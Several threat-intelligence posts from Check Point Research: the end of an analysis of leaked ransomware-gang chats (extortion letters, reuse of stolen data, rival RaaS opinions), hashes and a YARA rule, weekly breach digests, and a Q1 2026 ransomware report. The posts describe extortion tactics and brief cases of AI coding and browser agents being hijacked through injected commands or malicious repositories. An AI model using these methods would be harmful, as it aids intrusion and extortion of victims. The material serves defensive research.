Figure 29 — Agreement to pay 190,000 USD.

zeta88 is very aware of the importance of maximizing pressure on extorted victims to increase the chances of payment. In his private channel, he drafts a generic follow‑up letter that can be adapted to any company, emphasizing the costs of not paying the ransom, including regulatory exposure, reputational damage, and operational impact, and citing assessments from previous attacks. This is not the standard ransom note deployed alongside the encryption, but an additional, more tailored communication intended to reinforce the pressure on the victim.

Figure 30 — Negotiation playbook.


Interesting Negotiation Case

In a high‑profile attack in April 2026, a software consultancy company from United Kingdom publicly reported a breach. The company’s leadership stated in an open letter that only “typical business data, including business contact information, contracts, and NDAs related to client work” had been accessed.

From what appears to be a personal channel used by zeta88, he drafts a ransom demand letter addressed to the UK company, detailing what The Gentlemen claim to have exfiltrated, including customer infrastructure data, secrets, OAuth credentials, and more. The letter explicitly emphasizes potential GDPR violations as leverage to pressure the victim into paying.

Figure 31 — Ransom note.

Two weeks later, the group published the consultancy’s identity and breach details on their data leak site (DLS). According to the internal chats, data exfiltrated from the consultancy was then reused both before and during attacks against a company in Turkey, where The Gentlemen gained initial access via a vulnerable VPN appliance.

Figure 32 — Forti access to company in Turkey.

zeta88 ran this operation alongside Protagor, creating a backdoor Okta service account himself—typical of his intensive, hands‑on involvement in many of the intrusions documented in the leaked discussions. During the same campaign, zeta88 explicitly references data from the UK consultancy breach to cross‑reference and enrich information about the Turkish company, illustrating how prior compromises are used to enrich and support new attacks.

Figure 33 — UK company containing information for Turkish company.

One example mentioned was an internal “Transfer/Migration Document” (in the local language), an internal project document the consultancy maintained in its own collaboration platform describing work they did for the company in Turkey. This document, stolen in the first breach, was then used in the second.

The group discussed how best to use this access for extortion. In their internal chats, they talked about publishing the company from Turkey on their DLS together with a statement that, The access to the company in Turkey was obtained through the compromised consultancy from United Kingdom.

Figure 34 — DLS statement discussions.

This served a dual purpose:

  1. Punishing the consultancy (UK), which the actors described as “a very bad company.”
  2. Increasing pressure on the company in Turkey, by promising to show exactly how they gained access so that, the Turkish would be encouraged to legally pursue the consultancy in UK.
Figure 35 — Initial access proof.

Eventually, the Turkish company was published on the group’s DLS, and the attackers “credited” the consultancy in UK as their “access broker”.


Their View of Other RaaS Programs and Actors

The actors consistently frame the RaaS ecosystem through the lenses of brand strength, payout reliability, and affiliate leverage (percentage splits and control over negotiations). Among the programs mentioned, they clearly distinguish a small “top tier” from a broader landscape of lesser or untrusted players.

Program / GroupThings DiscussedSubjective Sentiment (Their View)
HelloKittyName/brand as something they’d like to use; jokes about linking to the real Hello Kitty site and putting (R) everywhere; described explicitly as a “мощный бренд”.Very positive on brand strength and recognition; sees it as a powerful marketing asset.
KrakenMention that “товарищи кракен” wrote to qbitqbit later says their team might “move” over to zeta88’s side.Neutral‑pragmatic; current or past orbit, but clearly willing to switch away for better options.
Dragon ForceOne of only two programs zeta88 would choose from “all presented”; explicitly says they pay both operators and adverts; only negative comments heard were about their software/panel.Strongly positive overall; trusted, in the top tier of programs they respect.
GunraListed among candidate PPs for a supplier; zeta88 says “че эт ваще такое…”, and lumps it with Hyflock; calls the operator “этот мудень”.Negative; unserious / low‑relevance; clear disdain for the operator.
HyflockSame context as Gunrazeta88 dismisses it in the same breath as Gunra, with the same derogatory comment about the person behind it.Negative; grouped with Gunra as not to be taken seriously.
ShadowByt3$ RAASAppears in the candidate list; zeta88 simply comments “хз” (doesn’t know).Neutral; no formed opinion, neither trust nor distrust expressed.
AnubisAppears in the candidate list; zeta88 asks “% видел он?”, focusing on what percentage they take.Cautious / skeptical; interest hinges on profit split; no clear positive trust.
CHAOSAppears in the candidate list; zeta88 asks whether they will still take that supplier (“возьмут ли они его еще”).Uncertain; doubts about acceptance / relationship continuity; not a clearly preferred option.
LockBit (tooling)quant asks what a локбит тулза actually is (builder or decryptor), notes he has not opened it; no explicit evaluation of the group itself.Curious but cautious; tooling is not trusted or fully understood yet; no explicit sentiment on LockBit group.
Black Basta / Devmanquant asks if “блек баста это девман”; zeta88 speaks harshly about “David” and his link to Devman, calls him “мудак” and “чепуха”, wishes them невыплат (non‑payment).Strongly negative but personalized; animosity toward David/Devman rather than a structured view of the RaaS.
“Red team” / Mr Beng clusterMentions Редтим=красный лотос=арсен=баламут=студент and “мистер БЕНГ”; mocks offer of 15k for “source code” of a C2 built on top of white tools (Velociraptor, etc.); ridicules this as overpriced and based on legitimate software.Negative; sees them as overpriced grifters repackaging white tools with heavy marketing.


Conclusion

The Gentlemen RaaS program has quickly evolved into a highly active and structured ransomware ecosystem. With over 320 public victims in 2026 and hundreds more systems visible through related infrastructure, it stands among the most productive RaaS operations that maintain a public data‑leak presence. The leaked Rocket backend and internal chats show that this scale is driven not by a loose crowd, but by a small, tightly coordinated core of about 9 named operators and at least 8 distinct affiliate TOX IDs, all organized around the administrator zeta88 / hastalamuerte, who both runs the platform and participates directly in operations.

The leak reveals a repeatable, human‑operated ransomware playbook: initial access through exposed edge infrastructure (such as VPNs and management interfaces), rapid expansion and privilege escalation, heavy investment in EDR/AV evasion and ETW/logging tampering, and systematic use of shared tools for discovery, lateral movement, credential theft, and data exfiltration. The group actively tracks and evaluates modern vulnerabilities, including CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073and combines them with technique‑driven paths like backup and management‑controller abuse and NTLM relay workflows, giving them a flexible exploitation pipeline.

Overall, The Gentlemen exemplifies how contemporary RaaS programs blend productized ransomware with professional intrusion teams. A small, well‑organized set of operators, supported by curated tooling, structured communication channels, and up‑to‑date exploit knowledge, can generate substantial impact in a short time. For defenders, this underscores the need to harden internet‑facing services, close known misconfigurations and relay paths, and monitor for the specific tools, workflows, and TOX‑based communication patterns tied to this group.


Indicators of Compromise

DescriptionValue
The Gentlemen Windows025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a
1334f0189a8e6dbc48456fa4b482c5726ab7609f7fa652fcc4c1a96f2334436f
1af419b36a5edefef387409e2b3248c9223f7dc49a4f7b15ea095d371c3a70b2
22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67
24ac3588fb8cfbff63b7fdfcbc7dec1f3c60e54e6f949dd69d68e89e0c89d966
2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d
3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235
3c2182cb0bc7528829ef03f1b1745a92bcc47d917eb8870862488f21fdf1a6d6
48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd
4a175eed927c0a477eafb8aa35a93c191748acaa78ac7aecd8ea3c4cd868887c
51b9f246d6da85631131fcd1fabf0a67937d4bdde33625a44f7ee6a3a7baebd2
62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8
6a3ab9e984a759d55af4e84487d1fc44683065cc9a1089d5aa4ad1c0e4e84a63
860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923
87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c
8aa0cb69ca2777001e0f4ba0eaab0841592710e4cc5ccd6b0b526d78bbd8bfba
8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db
91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1
994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3
9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454
a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad
b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6
c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8
c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73
dce2e5cc00eff2493f8ced546dc51f9d5ef78c5ee56805906ec642dfa77a1c70
dfe696ff713318c53fb17731bd4a6585a02c085b590149b19847990b324a0be6
ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2
efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f
f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12
fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
The Gentlemen Linux1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c
5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca
788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19


Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

The post Thus Spoke…The Gentlemen appeared first on Check Point Research.

  •  

11th May – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 11th May, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Instructure, the US education technology company behind the Canvas learning platform, has confirmed a major data breach affecting its cloud-hosted environment. Exposed data reportedly includes student and staff records and private messages, while ShinyHunters escalated the attack by defacing hundreds of school login portals with ransom messages.
  • Zara, the flagship brand of Spanish fashion group Inditex, has experienced a data breach tied to a third-party technology provider. Inditex confirmed unauthorized access, and experts verified that 197,400 unique email addresses, order IDs, purchase history, and customer support tickets were exposed.
  • Hungarian media company Mediaworks, which operates dozens of newspapers and online outlets, was hit by a data-theft extortion attack. The company confirmed an intrusion after World Leaks posted 8.5TB of internal files online, reportedly including payroll records, contracts, financial documents, and internal communications.
  • Czech automaker Škoda has fallen victim to a security incident affecting its online shop after attackers exploited a software flaw to gain unauthorized access. Exposed customer data may include names, contact details, order history, and logins, but according to the company passwords payment card data was not affected.

AI THREATS

  • Researchers have uncovered a critical WebSocket hijacking vulnerability in Cline’s local Kanban server, impacting the widely used open‑source AI coding agent. Rated CVSS 9.7 and patched in version 0.1.66, the flaw allowed any website a developer visited to exfiltrate workspace data and inject arbitrary commands into the AI agent.
  • Security researchers found a flaw in Anthropic’s Claude in Chrome extension that allowed other browser extensions to hijack the AI agent. The issue enabled malicious prompts to trigger unauthorized actions and access sensitive browser-connected data, showing how AI assistants can extend browser attack surfaces.
  • Researchers detailed an InstallFix campaign using fake Claude AI installer pages promoted through Google Ads to infect Windows and macOS users. Victims were tricked into running commands that launched multi-stage malware, stole browser data, disabled protections, and established persistence through scheduled tasks.

VULNERABILITIES AND PATCHES

  • Progress alerted customers to CVE-2026-4670, a critical authentication bypass in MOVEit Automation managed file transfer software that allows unauthorized access, and CVE-2026-5174, a privilege escalation flaw. Fixes are available in versions 2025.1.5, 2025.0.9, and 2024.1.8.
  • Ivanti has fixed CVE-2026-6973, a high-severity Endpoint Manager Mobile vulnerability which is exploited as a zero-day. The flaw affects EPMM 12.8.0.0 and earlier and allows attackers with administrator permissions to run remote code, while hundreds of appliances reportedly remain exposed online.
  • Palo Alto Networks PAN-OS Authentication Portal is affected by CVE-2026-0300, a critical buffer overflow flaw allowing unauthenticated attackers to run code with root privileges on affected firewalls. Palo Alto Networks observed active exploitation against exposed portals, with no fix available at this time.
  • Dirty Frag, an unpatched Linux kernel flaw, enables local privilege escalation across Ubuntu, RHEL, Fedora, AlmaLinux, and CentOS Stream. By chaining bugs in IPsec and RxRPC, a local user can gain root access with high reliability, and public proof-of-concept code is available.

THREAT INTELLIGENCE REPORTS

  • Researchers linked Iran’s MuddyWater to using the Chaos ransomware as cover for espionage and data theft. In a recent case, attackers used Microsoft Teams social engineering to harvest credentials and deploy remote tools, then extorted the victim without encrypting files before leaking data.
  • Researchers detailed a Silver Fox campaign targeting organizations in India and Russia with tax-themed phishing emails. The activity delivered the previously undocumented ABCDoor backdoor, ValleyRAT, and related malware, affecting industrial, consulting, retail, and transportation sectors through more than 1,600 socially engineered messages.
  • Researchers unmasked a multi-stage phishing campaign using fake code-of-conduct emails and adversary-in-the-middle tactics to hijack sign-in sessions and bypass multi-factor authentication. Active between April 14 to 16, it targeted more than 35,000 users at 13,000 organizations across 26 countries.
  • Researchers profiled UAT-8302, a China-linked espionage group conducting long-term intrusions against government agencies in South America and southeastern Europe. The actors combine custom backdoors, including NetDraft and CloudSorcerer, with OneDrive and GitHub command channels and open-source tools for reconnaissance and lateral movement.
  • Researchers revealed a software supply chain campaign on NuGet in which five packages impersonating Chinese .NET UI libraries install an infostealer. The packages have recorded nearly 65,000 downloads, putting developer workstations and systems at risk by stealing passwords, SSH keys, and cryptocurrency wallet data.

The post 11th May – Threat Intelligence Report appeared first on Check Point Research.

  •  

The State of Ransomware – Q1 2026

Key Findings

  • Consolidation after peak fragmentation: The top 10 ransomware groups accounted for 71% of all Q1 2026 victims, a sharp reversal from the fragmentation seen in Q3 2025. The ransomware ecosystem is once again consolidating around fewer, more dominant operators.
  • Volume stabilization at historically high levels: There were 2,122 victims posted on data leak sites (DLS), making this period the second-highest Q1 on record. The long growth trend is stabilizing.
  • Qilin’s sustained dominance: Qilin maintained its position as the most prominent ransomware operation for the third consecutive quarter, posting 338 victims.
  • The Gentlemen is the breakout story of Q1 2026 reaching the third place on the global ransomware list, increasing their victim count from 40 victims in Q4 2025 to 166 in Q1 2026.
  • LockBit 5.0 comeback confirmed: LockBit posted 163 victims in Q1 2026, climbing to fourth place.

Ransomware in Q1 2026: Consolidation at Scale

During the first quarter of 2026, we monitored more than 70 active data leak sites (DLS) that collectively listed 2,122 new victims. This figure represents a 12.2% decline from the Q4 2025 all-time record of 2,416 victims but remains the second-highest Q1 on record at 117% above Q1 2024 (977 victims) and is keeping in line with the elevated baseline established through 2025.

Figure 1 – Total number of reported ransomware victims in DLS, per month (Jun 2024 – Mar 2026).

Monthly volumes within Q1 were consistently stable: in January there were 732 recorded victims, 684 in February, and 706 in March. This reflects a sustained operating rate of an average of 707 victims per month in Q1 2026.

The headline year-over-year (YoY) comparison shows a 7.1% decline from the 2,285 victims in Q1 2025. However, this comparison is misleading as the Q1 2025 numbers were heavily inflated by Cl0p’s Cleo mass-exploitation campaign which contributed approximately 390 victims in a single burst. If we exclude Cl0p from both periods, there were 1,894 victims in Q1 2025 versus 1,995 in Q1 2026, an actual YoY increase of 5.3%. The underlying growth trend in ransomware operations persists, even as the most dramatic spikes subside.

From fragmentation to consolidation

The most significant structural development seen in Q1 2026 is not the volume of attacks but the consolidation of the different operators conducting them. After two years of steady fragmentation, during which the number of active groups grew from 51 in Q1 2024 to a peak of 85 in Q3 2025 and the Top-10 share of victims fell from 68% to 57%, the ecosystem has decisively reversed course.

In Q1 2026, the top 10 groups accounted for 71.1% of all DLS-posted victims, which is the highest concentration since Q1 2024 when the ecosystem was far smaller. The number of active groups shrank from 85 to 71. Fourteen groups that were active in Q4 2025 disappeared entirely, while 21 new names appeared. However, most of the newcomers posted fewer than 10 victims, failing to take advantage of the disappearance of established mid-tier operators.

This is a common pattern repeated throughout the ecosystem’s history: law enforcement actions disrupt the ransomware market, affiliates scatter, and survivors who avoid disruption absorb the displaced talent pool and grow. Groups such as Qilin, Akira, The Gentlemen, and LockBit, who together claimed 41% of all victims in Q1, capitalized on the instability of their competitors. In Q1 2026, Qilin alone posted more victims than the combined output of the bottom 50 groups.

This dynamic carries implications beyond statistics. The consolidation of the ecosystem around fewer, more dominant operators changes its character. Larger RaaS brands invest in operational consistency, including functional decryption tools, because their business model depends on the perception that victim payment results in data recovery. In contrast, the ransomware fragmentation we saw in 2025 introduced dozens of transient operators with no such incentive to invest any effort in decryption. An example is Obscura, whose encryption bug renders files over 1 GB permanently unrecoverable regardless of payment. For defenders and incident responders, consolidation means facing fewer but more capable adversaries.

Figure 2 – Top 10 ransomware groups by number of publicly claimed victims – Q1 2026.

Notable surges and declines

Comparing the data between Q4 2025 and Q1 2026 reveals which groups are absorbing the affiliate talent pool, and which are failing to take advantage of it.

Surges:

  • The Gentlemen grew by 315%, going from 40 claimed victims to 166, making them the biggest story of Q1 2026, covered in detail below.
  • LockBit 5.0 activity increased by 106%, from 79 victims to 163.
  • Nightspire, a closed-group operation with OneDrive cloud encryption capability, expanded by 183% from 29 victims to 82, sustaining growth across two consecutive quarters.
  • Play posted a 64% increase, going from 74 victims to 121.

Declines:

  • SafePay fell by 77%, going from 97 victims to 22. SafePay is a centralized, non-RaaS operation whose DLS was marked inactive from mid-March 2026 through early April for unknown reasons.
  • Devman declined by 70%, from 82 victims to 25. The ransomware’s operator “Tramp”, a former Conti and Black Basta affiliate, was added to Interpol’s wanted list in January 2026. All three DLS sites went offline by early February.
  • Sinobi dropped by 42%, from 139 victims to 80. After a strong January (56 victims), activity collapsed to just 7 victims in March. As of the time of this publication, no postings were recorded in April.
Figure 3 – Interpol’s Red Notice for Devman’s operator, Nefedov.

Actor Spotlight: The Gentlemen – The Breakout Story of Q1 2026

The Gentlemen is the most significant new ransomware operation to emerge in recent months. Going from zero victims in August 2025 to 166 in Q1 2026, the group achieved third place globally through a combination of pre-existing access stockpiles, aggressive geographic diversification, and a deliberate rejection of the traditional US-centric targeting model.

Figure 4 – The Gentlemen monthly victim trajectory, February peak: 82 victims in a single month.

Origins: A Qilin defection

The Gentlemen was founded by a threat actor known as Hastalamuerte – an experienced Qilin affiliate, who left the Qilin RaaS program following a dispute over an unpaid commission of approximately $48,000. This explains both its rapid operational capability and its sophistication: the operators started with established tradecraft, tooling, and, crucially, a stockpile of pre-compromised access.

The FortiGate stockpile

The group’s most distinctive asset is a cache of approximately 14,700 pre-exploited FortiGate devices, exploited primarily via CVE-2024-55591 (a critical authentication bypass in FortiOS/FortiProxy). In addition to the exploited devices, the operators maintain 969 validated brute-forced FortiGate VPN credentials ready for attack. This stockpile provides The Gentlemen with a supply of ready-to-use initial access tools far exceeding what typical RaaS affiliates acquire through real-time exploitation or access broker purchases.

How was this stockpile acquired? According to this report, Hastalamuerte was an experienced affiliate who had previously worked with Embargo, LockBit, and Medusa before joining Qilin. Before creating their own RaaS platform, The Gentlemen’s operators “experimented with various affiliate models used by other prominent ransomware groups.” The 14,700-device inventory likely predates the group’s September 2025 launch. Publishing 38 victims within weeks of beginning operation strongly suggests pre-existing access in the form of a massive number of compromised devices rather than real-time exploitation.

A non-Western targeting model

The Gentlemen’s geographic distribution is a striking outlier. Only 13.3% of its victims are based in the United States, compared to the ecosystem average of 49.6%. Thailand (10.8%), Brazil (6.0%), and India (4.2%) all feature prominently on their victim list.

This may reflect the geographic distribution of exploitable FortiGate devices; the group attacks where it has pre-positioned access, and that access happens to be concentrated in APAC and Latin American networks. This is an infrastructure-driven pattern rather than a deliberate targeting strategy: the operators did not choose Thailand or Brazil based on strategic preference but are exploiting access they already have.

However, we cannot exclude a secondary factor: deliberate avoidance of US targets to reduce law enforcement risk. The Gentlemen is a Russian-speaking operation founded by an affiliate who already experienced the consequences of ransomware ecosystem disputes. The decision to exploit a globally distributed stockpile while bypassing US devices – if that is what is occurring – would represent rational risk management given the heightened US law enforcement posture.

LockBit 5.0: Making a Comeback

LockBit posted 163 victims in Q1 2026 (an increase of 106% compared to Q4 2025), climbing from outside the top 10 to fourth place globally. After an initial surge of 85 victims in January (likely to reflect the accumulation of access during the pre-launch period), activity dipped to just 33 victims in February before climbing back to 45 in March. This dip-and-recovery trajectory is characteristic of a program rebuilding its affiliate base instead of exhausting a one-time stockpile, assuming these are genuine reports and not recycled or fictional reports.

Until its takedown in early 2024, LockBit was the most dominant RaaS operation globally, responsible for 20–30% of all data-leak site victim postings. Following Operation Cronos, several arrests and data seizures disrupted the group’s infrastructure. 

Figure 5 – LockBit’s DLS-published victims (Q1 2023 – Q1 2026).

The new LockBit 5.0 was officially launched on the RAMP underground forum in September 2025, coinciding with the sixth anniversary of the operation. The new version introduced multi-platform support (Windows, Linux, ESXi), enhanced evasion and anti-analysis mechanisms, faster encryption routines, and randomized 16-character file extensions to disrupt signature-based detection. New affiliates were required to provide a Bitcoin deposit of approximately $500.

Geographic diversification: from US dominance to global spread

LockBit’s geographic targeting has undergone a dramatic and measurable shift since its last appearance. Historically, the United States accounted for over 50% of LockBit’s victims – consistent with the ecosystem-wide baseline. In Q1 2026, US victims represented just 21.2% of LockBit’s total, with Italy (8.6%), Brazil (8.6%), and Turkey (5.1%) picking up the slack.

The shift away from US victims is new. Despite no documented forum announcements, the circumstantial evidence is strong: the direction is specifically toward non-US and European nations or countries with less aggressive behavior toward ransomware operators such as Italy, Brazil, and Turkey. The result is a nearly 30-percentage-point (pp) drop in US-based victims, despite an overall 106% increase in victims compared to Q4 2025.

The reaction to law enforcement actions may not result in a lower overall attack volume, but operators such as LockBitSUpp appear to be trying to redirect their activity away from the enforcing jurisdictions. Whether this represents a deliberate strategic decision or an emergent consequence of attracting affiliates from different geographic backgrounds remains an open question.

DragonForce: The Cartel Model Under Pressure

DragonForce posted 101 victims in Q1 2026 (an increase of 29% compared to Q4 2025), with a steep climb from 10 victims in January to 35 in February and 56 in March. This trajectory suggests an operation gaining momentum rather than depleting stockpiled access.

DragonForce continues to distinguish itself through its public relations strategy and “cartel” branding, positioning itself as an umbrella organization for multiple sub-brands. However, our investigation indicates that the cartel model is smaller than advertised:

  • Devman, which split from DragonForce in July 2025, saw their victim totals collapse from 82 (Q4 2025) to 25 (Q1 2026). Twenty-four of those victims were posted in January.
  • Coinbase Cartel, initially reported as a DragonForce sub-brand, has been independently linked to the ShinyHunters operation by Bitdefender.
  • Obscura, cited as a potential cartel member, posted only around 20 victims in total.

DragonForce’s technical capabilities remain genuine with multi-platform support and the group actively recruits affiliates. Its data audit service, which analyzes stolen datasets exceeding 300 GB to identify the most valuable information for extortion leverage, represents genuine innovation in the extortion model. However, the broader cartel narrative appears to be more marketing than substance.

Geographic Distribution of Victims – Q1 2026

The geographic distribution of ransomware victims in Q1 2026 maintains the fundamental pattern established over previous quarters: the United States accounts for just under half of all reported cases (49.6%), with Western developed economies making up the clear majority of targets.

Figure 6 – Top 10 targeted countries, Q1 2026.

The most notable development is Thailand’s entry into the top 10 for the first time, driven almost entirely by The Gentlemen, for whom Thai organizations constitute 10.8% of total victims. Taiwan also rose sharply (from 8 victims to 26), while South Korea dropped out entirely. This confirms that Qilin’s Q3 2025 financial sector campaign targeting 30 South Korean organizations was a one-off event rather than a sustained targeting shift.

Per-Actor Geographic Targeting: Distinct Patterns

A per-actor analysis of the top 20 groups’ country distributions reveals that the ecosystem-level averages mask dramatically different targeting strategies. We identified six distinct geographic patterns by measuring each actor’s deviation from the 49.6% US baseline.

Pattern 1 – Extreme US focus (>75% US). These actors target the United States at rates far exceeding the ecosystem average:

  • Play (85.1% US) operates as a closed group with a Russia-nexus lineage and centralized target selection that consistently prefers US organizations.
  • Sinobi (76.2% US) explicitly targets US mid-market manufacturing and construction.
  • Genesis (93.1% US) whose near-exclusive US focus (27 of 29 confirmed victims) and emphasis on the Healthcare sector (20.7%) is striking for an emerging actor with no documented affiliate program.

Pattern 2 – Deliberate US avoidance (<25% US). These actors are going in the opposite direction:

  • Tengu (11.4% US) is the most geographically diversified actor in the top 20, with victims spread across Indonesia (8.6%), Mexico (8.6%), India (6.9%), and Italy (5.8%).
  • LockBit (21.5% US) represents deliberate post-disruption diversification, as discussed above.

Pattern 3 – Vulnerability related distribution:

  • Cl0p’s geographic anomalies (18.1% Canada and 8.7% Australia). Cl0p’s traditional mass exploitation campaigns produce victim distributions that mirror the installed base of the exploited software, in this case EBS campaign (CVE-2025-61882).
  • The Gentlemen (13.3% US) reflects the geographic distribution of its approximately 14,700-device FortiGate access stockpile, which is concentrated in Thailand (10.8%), Brazil (6%), and India (4.2%).

Country-Level Actor Dominance: When One Group Shapes a Nation’s Threat Profile

Flipping the analysis from “which countries does an actor target” to “which actors dominate each country” reveals an even more striking picture. Several countries’ entire ransomware threat profiles are defined by a single actor’s operational choices.

Single-actor-shaped countries:

CountryDominant actorShare
ThailandThe Gentlemen53%
ArgentinaQilin39%
MexicoLockBit37%
AustraliaCl0p34%
SwitzerlandAkira31%
BrazilLockBit31%

Thailand’s case is the most extreme: more than half of all Thai ransomware victims are claimed by The Gentlemen. Without this single group, Thailand would not even appear in the top-10 most-attacked countries. Similarly, without Cl0p’s Oracle EBS campaign, Australia and Canada would show substantially lower victim counts. These findings underscore that country-level ransomware statistics are frequently shaped by one actor’s specific access inventory, software exploitation campaign, or strategic redirection – not by broad shifts in the threat landscape.

Multi-actor convergence countries. Two countries stand out for having three or more actors independently converging to create unusually diverse threat environments:

  • Turkey (23 victims): LockBit (6 victims) + DragonForce (5 victims) + The Gentlemen (5 victims), 70% of Turkey’s victim totals are due to the activity of just three actors.
  • Japan (21 victims): The Gentlemen (6 victims) + Everest (4 victims) + Nightspire (3 victims). = 62% of the victims are due to three distinct actors. Both The Gentlemen and Nightspire exploit the same FortiGate vulnerability (CVE-2024-55591).

Ransomware Attacks by Industry – Q1 2026

The industry distribution of ransomware victims in Q1 2026 shows continued cross-sector impact, with a few notable concentrations.

Figure 7 – Ransomware victims by industry, Q1 2026.

As with geographic patterns, ecosystem-level industry averages mask fundamentally different targeting strategies at the actor level. A per-actor analysis of the top 20 groups reveals that sector selection is driven by at least three distinct observations.

Software footprint targeting. Cl0p’s 53.5% Business Services concentration (+18.6 percentage points above baseline) does not reflect a preference for professional services firms. It reflects the user base of Oracle EBS, the enterprise application exploited in the Q1 2026 campaign. Mass exploitation campaigns produce industry distributions that mirror the deployment pattern of the exploited software. This is the same dynamic observed in Cl0p’s geographic analysis, where Canada and Australia were over-represented because of Oracle EBS adoption.

Operational disruption maximization. Akira’s targeting of Consumer Goods (23.9%, +9.8 percentage points above baseline) and Industrial Manufacturing (17.8%, +6.7 percentage points above baseline), a combined 41.7% versus the 25.1% baseline, is consistent with an economically optimized model. These sectors share high downtime costs (production lines, supply chain dependencies) and complex IT/OT environments that make recovery without decryption keys extremely difficult. With $244 million in total proceeds and a 34% share of IR engagements, Akira’s sector selection reflects deliberate targeting of firms where the pressure to pay is greatest. This is not opportunistic; it’s the Conti lineage playbook applied to the sectors where it generates the highest return per incident.

Anubis stands apart from all other top-20 actors in its willingness to target healthcare (13.0%, +8.3 percentage points above baseline) and critical infrastructure (8.7%, +7.7 percentage points above baseline).

Conclusion

In Q1 2026, the ransomware ecosystem entered a new phase. After two years of steady fragmentation, the market is reconsolidating around a smaller number of dominant operators. Qilin, Akira, The Gentlemen, and LockBit together account for 41% of all victims. Domination by the top-10 actors has returned to levels not seen since early 2024.

This consolidation is not a return to the previous state. The emerging dominant groups are more technically capable, more geographically diversified, and more resilient to disruption than their predecessors. At the same time, the economic foundations of ransomware are showing signs of stress. Payment rates have fallen to historic lows. Mass data-theft campaigns are generating diminishing returns. The gap between the growing number of DLS-posted victims (2,122 in Q1 2026) and the declining monetization per victim may accelerate the current consolidation squeezing out operators who cannot achieve sufficient scale or sophistication to remain profitable.

The post The State of Ransomware – Q1 2026 appeared first on Check Point Research.

  •  

4th May – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 4th May, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Medtronic, a global medical device maker, has disclosed a cyberattack on its corporate IT systems. An unauthorized party accessed data, while the company reported no impact on products, operations, or financial systems. Threat group ShinyHunters claimed the theft of 9 million records, and Medtronic is evaluating what data was exposed.
  • Vimeo, a global video hosting platform, has confirmed a data breach stemming from a compromise at analytics vendor Anodot. Exposed data included internal operational information, video titles and metadata, and some customer email addresses, while passwords, payment data, and video content were not accessed.
  • Threat actors have abused the account creation process of the online trading platform Robinhood to launch a phishing campaign that used emails from Robinhood official mailing account. The emails contained links to phishing sites and passed security checks. Robinhood stated that no accounts or funds were compromised and has since removed the vulnerable “Device” field.
  • Trellix, a major endpoint security and XDR vendor, was hit by a source code repository breach after attackers accessed a portion of its internal code. The company engaged forensic experts and law enforcement and claims it has found no evidence of product tampering, pipeline compromise, or active exploitation so far.

AI THREATS

  • Researchers pinpointed CVE-2026-26268, a flaw in Cursor’s coding environment that enables remote code execution when its AI agent interacts with a cloned malicious repository. The attack chains Git hooks and bare repositories to run attacker scripts, risking exposure of source code, tokens, and internal tools.
  • Researchers exposed Bluekit, a phishing-as-a-service platform that bundles 40-plus templates and an AI Assistant using GPT-4.1, Claude, Gemini, Llama, and DeepSeek. The AI-assisted toolkit centralizes domain setup, realistic login clones, anti-analysis filters, real-time session monitoring, and Telegram-based exfiltration.
  • Researchers demonstrated an AI-enabled supply chain attack in which Anthropic’s Claude Opus co-authored a code commit that introduced PromptMink malware into an open-source autonomous crypto trading project. The hidden dependency siphoned credentials, planted persistent SSH access, and stole source code, enabling wallet takeover.

VULNERABILITIES AND PATCHES

  • Microsoft has fixed a privilege escalation flaw in Microsoft Entra ID that allowed the Agent ID Administrator role for AI agents to take over any service account. Researchers published a proof-of-concept showing attackers could add credentials and impersonate privileged identities.
  • cPanel has addressed CVE-2026-41940, a critical authentication bypass in cPanel and WHM that is being actively exploited in the wild as a zero-day, and allows full administrative control without credentials. Patches were issued on April 28, and Shadowserver observed 44,000 internet addresses scanning or attacking decoy systems.

Check Point IPS provides protection against this threat (cPanel Authentication Bypass (CVE-2026-41940))

  • Google has released patches for a critical code execution flaw in the Gemini CLI and its GitHub Action that allowed outsiders to run commands on build servers in CI/CD pipelines. The issue automatically trusted workspace files during automated jobs, allowing malicious pull requests to trigger code execution.
